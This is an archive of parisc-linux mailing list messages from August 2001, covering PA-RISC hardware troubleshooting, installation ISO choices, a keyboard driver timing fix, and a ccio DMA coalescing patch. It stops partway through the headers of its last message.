Cc: parisc-linux@lists.parisc-linux.org
To: Reinhard.Gimbel@freenet.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 09:42:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15F46482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Aug 2001 09:42:04 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA13539;
	Thu, 9 Aug 2001 09:40:13 -0600
In-Reply-To: Message from Reinhard Gimbel <Reinhard.Gimbel@freenet.de> 
   of "Mon, 06 Aug 2001 22:38:13 +0200." <01080622381300.01641@octopus> 
Xref: news.gmane.org gmane.linux.ports.parisc:11832

Reinhard Gimbel wrote:
> Few weeks ago I posted some thoughts I had in this mailing list 
> because palinux-0.9.2 was crashing on the older box all the 
> time during installation.

I haven't seen any commits from rbrad yet.
I know he's still working on fixing the ccio driver bugs.

> 
> Some kernel messages led my in the false direction. I thought 
> DINO (h/w v2.1; or better the software glue of DINO) was the 
> root cause of "my" problems. This box had firmware v2.7.

please please please update the firmware on this box. See the parisc-linux
FAQ for details on how to upgrade firmware. You don't want to chase
data corruption problems due to the old dino. Upgrading the firmware
will prevent the scenario.  The box is useful but one can't use PCI
devices (except graphics) in it.

> Installation via network/NFS did not work because of problems; 
> With the older box i tried many things (100Mbps, 10Mbps, Hub, 
> cross-over cable) but no success ...

This should work. Make sure link lights on  the hub/switch and 
C180 are on. Shouldn't need a cross-over cable if you have a hub.
Othwerwise, review the palo parameters you are using.

> 
> After I got the replacement on Friday (DINO v3.1 [which should 
> be ok. according the kernel messages ...], firmware v5.1) the 
> problems are still present.
> 
> BTW: Grant, you are right ! But newer firmware seems not to 
> solve the problem ...

No. But it avoids some other ones.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more serial console problems on D310
Date: Thu, 09 Aug 2001 8:50:31 PDT
Lines: 33
Approved: news@gmane.org
Message-ID: <200108091550.IAA08745@chrome.rose.hp.com>
References: <200108091522.JAA13437@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620369 23502 80.91.229.3 (22 Nov 2014 01:39:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:29 +0000 (UTC)
Cc: djweis@sjdjweis.com, parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 09:50:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08699482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Aug 2001 09:50:37 -0600 (MDT)
Original-Received: from chrome.rose.hp.com (chrome.rose.hp.com [15.8.150.209])
	by atlrel6.hp.com (Postfix) with ESMTP
	id E8BCA1F8D4; Thu,  9 Aug 2001 11:50:32 -0400 (EDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.8.6 SMKit7.02) id IAA08745; Thu, 9 Aug 2001 08:50:31 -0700 (PDT)
In-Reply-To: <200108091522.JAA13437@puffin.external.hp.com>; from "Grant Grundler" at Aug 9, 101 8:25 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:11833

| I look at the HW database and it seems the D310 has two LASI (core_adapter)
| chips (and WAX, no PCI). I suspect the detection of serial ports misnumbers
| them (ie parisc-linux finds them in the wrong order) or we only properly
| handle one of the two LASI's.

It may seem like that in the HW database, but there is never more than one
LASI in a d-class system, the LASI is on the main system board, so it's always
there regardless of which processor asssembly gives the d-class its flavor,
and no processor board or add-in card ever contained a second LASI.

The serial port labeled console is attached to the LASI rs-232 unless an
access port card is plugged into the access port capable slot. If an 
access port card is present, then the RS-232 signals from it are routed
to the console connector instead.

Check the system to see if there is an AP card. If there is, then you 
might need to remove it. When I played with some d-classes very early on 
in the port, I had to take the AP card out.  The inside door of your 
d-class system should have a nice diagram showing you how to find the 
AP card. It's an HSC card with two small extra connectors and on the
bulkhead is an LED, a small switch, an serial connector and a tiny
modem connector.

KMB
--
+======================================================================+
|       Kirk Bresniker          (916) 748-2393                         |
|       8000 Foothills Blvd                                            |
|       Roseville, CA 95747-5731                                       |
|       kirkb@rose.hp.com                                              |




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The final patch for the keyboard problem
Date: Thu, 09 Aug 2001 10:45:04 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200108091645.KAA13777@puffin.external.hp.com>
References: <rhirst@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620369 23505 80.91.229.3 (22 Nov 2014 01:39:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:29 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 10:46:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FB76482A
	for <parisc-linux@parisc-linux.org>; Thu,  9 Aug 2001 10:46:38 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA13777;
	Thu, 9 Aug 2001 10:45:04 -0600
In-Reply-To: Message from Richard Hirst <rhirst@linuxcare.com> 
   of "Tue, 07 Aug 2001 22:36:50 BST." <20010807223650.F1011@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11834

Richard Hirst wrote:
> I've fixed the lockup on CapsLock, using an analyser to monitor what happened
> on the PS/2 cable:

Cool!
reverse engineering is more fun when one has the right tools...

> I changed the driver to allow 5ms rather than 1ms, and it works now.
> In fact, for my keyboard, the time from command being written to ack
> being received is about 2.5ms.
>
> Can't say I like the idea of mdelay(5) being called 3 times every time I
> press CapsLock though.

Would sleep/wakeup be better than polling?
It seems the keyboard does generate interrupts.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more serial console problems on D310
Date: Thu, 09 Aug 2001 11:47:50 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <200108091747.LAA13929@puffin.external.hp.com>
References: <kirkb@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620369 23508 80.91.229.3 (22 Nov 2014 01:39:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 11:49:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 952A8482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Aug 2001 11:49:25 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA13929;
	Thu, 9 Aug 2001 11:47:50 -0600
In-Reply-To: Message from Kirk Bresniker <kirkb@chrome.rose.hp.com> 
   of "Thu, 09 Aug 2001 08:50:31 PDT." <200108091550.IAA08745@chrome.rose.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11835

Kirk Bresniker wrote:
> | I look at the HW database and it seems the D310 has two LASI (core_adapter)
> | chips (and WAX, no PCI). I suspect the detection of serial ports misnumbers
> | them (ie parisc-linux finds them in the wrong order) or we only properly
> | handle one of the two LASI's.
> 
> It may seem like that in the HW database, but there is never more than one
> LASI in a d-class system, the LASI is on the main system board, so it's
> always there regardless of which processor asssembly gives the d-class its
> flavor, and no processor board or add-in card ever contained a second LASI.

Kirk,
You are right. I misread the ioscan output.

Here are the HW database contents in a more readable form:

type	driver		HWpath	Description
------	-------------	------	--------------------------
ba	core_adapter	16	Core I/O Adapter
ext_bus	CentIf		16/0	Built-in Parallel Interface
tty	asio0		16/4	Built-in RS-232C
ext_bus	c720		16/5	Built-in SCSI
...
lan	lan2		16/6	Built-in LAN
ps2	ps2		16/7	Built-in Keyboard/Mouse
ba	core_adapter	20	Core I/O Adapter
tty	asio0		20/2	Built-in RS-232C
ba	eisa_adapter	20/5	EISA Bus Adapter
lan	btlan0		20/5/8	EISA card INP0500
...

I had assumed "core_adapter" meant LASI.
The second "Core I/O Adapter" at "20" must be WAX.

> The serial port labeled console is attached to the LASI rs-232 unless an
> access port card is plugged into the access port capable slot.
...

Ok. We still have an ordering issue then between WAX/LASI and how
tty's are numbered/discovered. That's in addition to the problem
of interrupts not getting delivered for the serial port on WAX at "20/2".

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Weis <djweis@sjdjweis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more serial console problems on D310
Date: Thu, 9 Aug 2001 13:38:41 -0500 (CDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0108091337290.11782-100000@oliver.internal.sjdjweis.com>
References: <200108091550.IAA08745@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620369 23510 80.91.229.3 (22 Nov 2014 01:39:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:29 +0000 (UTC)
Cc: grundler@puffin.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 12:36:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oliver.internal.sjdjweis.com (dsl.75.131.networkiowa.com [209.234.75.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37EAF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Aug 2001 12:36:24 -0600 (MDT)
Original-Received: from localhost (djweis@localhost)
	by oliver.internal.sjdjweis.com (8.9.3/8.9.3) with ESMTP id NAA12447;
	Thu, 9 Aug 2001 13:38:41 -0500
X-Sender: djweis@oliver.internal.sjdjweis.com
In-Reply-To: <200108091550.IAA08745@chrome.rose.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11836

On Thu, 9 Aug 2001, Kirk Bresniker wrote:

> Check the system to see if there is an AP card. If there is, then you 
> might need to remove it. When I played with some d-classes very early on 
> in the port, I had to take the AP card out.  The inside door of your 
> d-class system should have a nice diagram showing you how to find the 
> AP card. It's an HSC card with two small extra connectors and on the
> bulkhead is an LED, a small switch, an serial connector and a tiny
> modem connector.

Yes, it does have one of those cards. I'll yank it tonite and see what
happens. It also has an 8 port serial card, would that make a
difference? I'll yank it also, anyway.

thanks
dave

-- 
Dave Weis             "I believe there are more instances of the abridgement
djweis@sjdjweis.com   of the freedom of the people by gradual and silent
                      encroachments of those in power than by violent 
                      and sudden usurpations."- James Madison





From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation
Date: Thu, 09 Aug 2001 17:37:47 -0700
Organization: Hewlett Packard
Lines: 13
Approved: news@gmane.org
Message-ID: <3B732CDB.B58F41E1@cup.hp.com>
References: <200108091506.JAA13380@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620370 23514 80.91.229.3 (22 Nov 2014 01:39:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 18:39:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36F38482A
	for <parisc-linux@parisc-linux.org>; Thu,  9 Aug 2001 18:39:18 -0600 (MDT)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel2.hp.com (Postfix) with ESMTP id 925A91058
	for <parisc-linux@parisc-linux.org>; Thu,  9 Aug 2001 17:39:17 -0700 (PDT)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id RAA10372
	for <parisc-linux@parisc-linux.org>; Thu, 9 Aug 2001 17:39:17 -0700 (PDT)
Original-Sender: gururaj@cup.hp.com
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11837

Hello,

I want to install linux on B180L. I did visit parisc-linux web site.
I am confused which ISO image to pick. There are couple of them
like *serial  and *sti.
Please anyone explain me which one to pick and what they mean.

Thanks
Guru





From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation
Date: Fri, 10 Aug 2001 04:04:57 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3B734149.CD258626@esiee.fr>
References: <200108091506.JAA13380@puffin.external.hp.com> <3B732CDB.B58F41E1@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620370 23518 80.91.229.3 (22 Nov 2014 01:39:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 20:25:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9C37482A
	for <parisc-linux@parisc-linux.org>; Thu,  9 Aug 2001 20:25:27 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 612B1D15AA; Fri, 10 Aug 2001 04:01:43 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11838

Hello Guru
> 
> I want to install linux on B180L. I did visit parisc-linux web site.
> I am confused which ISO image to pick. There are couple of them
> like *serial  and *sti.
> Please anyone explain me which one to pick and what they mean.

Since the release of PA/Linux v0.9.2, you do not need to worry about
that! You take the smallest if you have a good internet connection that
will help you to transfer the most recent packages or the big one with
all included!

Regards, Thomas
ESIEE Team




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix for ccio cpio cdrom -> disk HPMC
Date: Thu, 9 Aug 2001 22:51:55 -0600
Lines: 128
Approved: news@gmane.org
Message-ID: <20010809225155.A21997@beavis.ybsoft.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620370 23526 80.91.229.3 (22 Nov 2014 01:39:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 22:51:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amanda.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 747D3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Aug 2001 22:51:57 -0600 (MDT)
Original-Received: from beavis.ybsoft.com (ns1.ybsoft.com [10.0.0.2])
	by amanda.ybsoft.com (Postfix) with ESMTP id D19B75873A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Aug 2001 15:53:21 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id CE873BC8F; Thu,  9 Aug 2001 22:51:55 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.18i
Xref: news.gmane.org gmane.linux.ports.parisc:11839

Hello parisc-linux hackers,

I think I have finally located and fixed the bug that has been haunting 
the ccio driver.  This is the infamous cpio cdrom -> disk bug that I could
reliably HPMC my C200+ with.

The fix is simple, and I want to thank both Richard Hirst and Grant
Grundler for taking the time at OLS to explain how the SCSI layer was
interacting with the ccio driver.  Understanding this gave me the clue I
needed to find/solve this long outstanding bug.


The problem is in the coalescing of the sg chunks.  The ccio (and SBA)
drivers attempt to coalesce the sg chunks via 2 methods:

  1. Merging virtually contiguous addresses into a single, larger address.
  2. Merging non-virtually contiguous addresses into a single, larger
     address iff the entries start/end on a page boundary.

These two constraints are well documented in the
Documentation/DMA-mapping.txt, but unfortunately the second case does not
hold true for the ccio driver as I will try to explain after the short
patch to remove the second case:


--- ccio-dma.c	2001/07/14 21:17:01	1.33
+++ ccio-dma.c	2001/08/10 03:24:38
@@ -992,18 +992,7 @@ ccio_coalesce_chunks(struct ioc *ioc, st
 
 			vcontig_sg = startsg;
 			vcontig_len = startsg->length;
-
-			/*
-			** 3) do the entries end/start on page boundaries?
-			**    Don't update vcontig_end until we've checked.
-			*/
-			if (DMA_CONTIG(vcontig_end, startsg->address)) {
-				vcontig_end = vcontig_len + (unsigned long)startsg->address;
-				dma_len += vcontig_len;
-				continue;
-			} else {
-				break;
-			}
+			break;
 		}
 
 		/*

The reason the second case does not hold true for the U2/Uturn chip because
because the IO TLB is direct mapped on a 32k block boundary.  If the
U2/UTurn chip was mapped on a 4k boundary (like Astro and IKE) then the
second case would work fine.  [Note: I could have changed the DMA_CONTIG
macro to align on a 32k block boundary instead of a 4k block bound and
probably still fixed the problem, but I'm currently testing a new
coalescing design Richard, Grant and I discussed at OLS, so I opted for
simplicity :)]


Now for the pretty ASCII art showing why the second case is broken
for the ccio driver:

Lets assume the SCSI layer passes the 1st, 2nd, and 4th page of a 32k block
to the ccio driver to be coalesced.

      0   1   2   3   4   5   6   7
    +---+---+---+---+---+---+---+---+
    | X | X |   | X |   |   |   |   |
    +---+---+---+---+---+---+---+---+


The ccio_coalesc_chunks function would return a single DMA stream with the
translated address of block 0 and a length of 3 pages.

The ccio_fill_pdir function would then mark the correct pages of the 32k
block valid in the I/O TLB.

Next the SCSI driver will try to write the data to the invalid I/O TLB
entry at block 2.  At this point I believe the machine will HPMC because 
of the invalid I/O TLB entry in the U2/UTurn chip.  Which verifies the PIM
codes I have been seeing on the C200+.

With the above patch applied to my local TOB tree, I have successfully
cpio'ed a cdrom to disk several time without causing the HPMC.  So I am
going to commit the patch to the ccio driver.  We can back it out later
if someone has concerns or finds my analysis invalid :)

As for my long shot in the dark as to why it was very reproducible with
a cdrom -> disk copy and not the disk -> disk copy is that the SCSI driver
passed 2k block in the sg list while the disk -> disk copy uses 1k block.
Therefore the 2k blocks increased the likely-hood of catching the second
case and causing the HPMC.


Also I would like to fix the documentation in
Documentation/DMA-mapping.txt since it is not quite accurate and threw
me off for quite a while.  I would be happy to submit a small patch to
clarify the documentation, but I'm not sure of the proper way to submit
a patch to architecture independent code/documentation.

  1. Submit the patch directly to the document authors and have them
     review/accept/reject the patch?

  2. Commit the patch to the parisc-linux tree and handle it during 
     the upstream merge?


The following section of text is the misleading portion of the document.

> The implementation is free to merge several consecutive sglist entries
> into one (e.g. if DMA mapping is done with PAGE_SIZE granularity, any
                                             ^^^^^^^^^
> consecutive sglist entries can be merged into one provided the first one
> ends and the second one starts on a page boundary - in fact this is a huge
> advantage for cards which either cannot do scatter-gather or have very
> limited number of scatter-gather entries) and returns the actual number
> of sg entries it mapped them to.


If someone else with a U2/Uturn chip wants to beat on the ccio driver for
a while with this patch and verify the the HPMC is gone for them I would
greatly appreciate it.

Thanks,

- Ryan




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Linux-ia64] Installation.
Date: Fri, 10 Aug 2001 09:15:16 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <20010810091516.X23676@linuxcare.com>
References: <001f01c1206d$56b98f10$727ba8c0@vaio> <3B732C64.6D2E622F@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620371 23531 80.91.229.3 (22 Nov 2014 01:39:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:31 +0000 (UTC)
Cc: linux-ia64@linuxia64.org, parisc-linux@lists.parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 02:14:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FCB3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 02:14:17 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id F17EDB00C; Fri, 10 Aug 2001 09:15:16 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B732C64.6D2E622F@cup.hp.com>; from gururaj@cup.hp.com on Thu, Aug 09, 2001 at 05:35:48PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11840

On Thu, Aug 09, 2001 at 05:35:48PM -0700, Gururaj Ananthateerta wrote:
> I have a B180L system, I want to install linux on it. I visited
> parisc-linux
> site. I am confused which ISO image to pick. There are couple of them
> like *serial  and *sti.
> Please anyone explain me which one to pick and wht they mean.

You posted to the ia64 list, not the parisc one, but anyway...

*serial refers to an ISO for use with a serial console, where you would
install and manage the system via a serial cable link to some other system
(e.g. minicom running on a Linux PC).

*sti refers to Standard Text Interface, which means using the keyboard
and monitor interface to the system.

The '32' and '64' in the ISO names refers to 32 and 64 bit CPUs; yours
is 32 bit.

Assuming your system is currently configured for sti console, you
should be able to force it to use serial console simply by unpluging
the keyboard and cycling power.

When we released the 0.9 ISO we had seperate ISOs for serial and sti
installs on 32 bit machines and a further serial ISO for 64 bit machines.
This is referred to as 0.9.0 now.

Next we released a 0.9.1 ISO, but you should ignore that, as it had
various problems.

The latest release is a 0.9.2 ISO, where we have a single ISO that
works for serial and sti installs on 32 bit machines and for serial
installs on 64 bit machines.

We have two versions of 0.9.2, "Network Install ISO", which is a CD
you can install from, but which has just the base packages on it.  Once
you've installed, you'll need to grab other packages from the network.
0.9.2 "CD Install ISO" is the same, but includes various other packages
that we considered useful.  Even if you install this CD you'll
probably want to upgrade from the network anyway.

Now, none of these are perfect.  If you are using a serial console
then either should work fine for you, and you should use the 0.9.2
one as it is more up-to-date.

If you are using an sti console, then I think the 0.9 ISO will work,
although screen redrawing is poor in the installer.  If you use the
0.9.2 ISO with an sti console, you might find that your keyboard is
dead and you are unable to complete the install.  Unplugging and
replugging the keyboard (while the installer is running) may help,
as might trying some other model of keyboard.

The good news is that the keyboard lockup problems are probably
solved, although the code isn't quite ready for committing.  I guess
we will release a new ISO with 2.4.7 kernel and working keyboard sometime
soon, although I am about to go on holiday for two weeks so it probably
wont happen until I'm back.

Finally, I see you are inside HP; I don't know whether the internal
mirrors have 0.9.2 or not, but they are available on
<http://www.parisc-linux.org/release-0.9/index.html>

Richard





From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedot, Wolfgang" <wpedot@harris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Using EISA-Slot in 715/75
Date: Fri, 10 Aug 2001 04:15:12 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <8D4C69676E66D511A1CB00508BBBB1921626EA@ranmx1.ran.harris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416620371 23533 80.91.229.3 (22 Nov 2014 01:39:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:31 +0000 (UTC)
To: 'Parisc Linux Mailinglist' <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 10 02:15:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mlbmx2.corp.harris.com (mlbmx2.corp.harris.com [137.237.90.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EE9A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Aug 2001 02:15:19 -0600 (MDT)
Original-Received: by mlbmx2.corp.harris.com with Internet Mail Service (5.5.2653.19)
	id <PH8LMWZN>; Fri, 10 Aug 2001 04:15:16 -0400
Return-Receipt-To: "Pedot, Wolfgang" <wpedot@harris.com>
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11841

Hi,

Is there any hope that the EISA-Slot in my 715/75 will be usable? I noticed that
the expander (WAX-EISA) is supported and detected at startup but I can not load
any drivers for ISA-Cards (unresolved Symbols outsb, outsw.....). Since EISA is
compatible to ISA this should be possible...

greetings
Wolfgang




From - Thu Nov 08 21:18:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is a C200+ currently supported?
Date: Fri, 10 Aug 2001 10:10:31 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <sb73b3e0.043@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620371 23536 80.91.229.3 (22 Nov 2014 01:39:31 GMT)
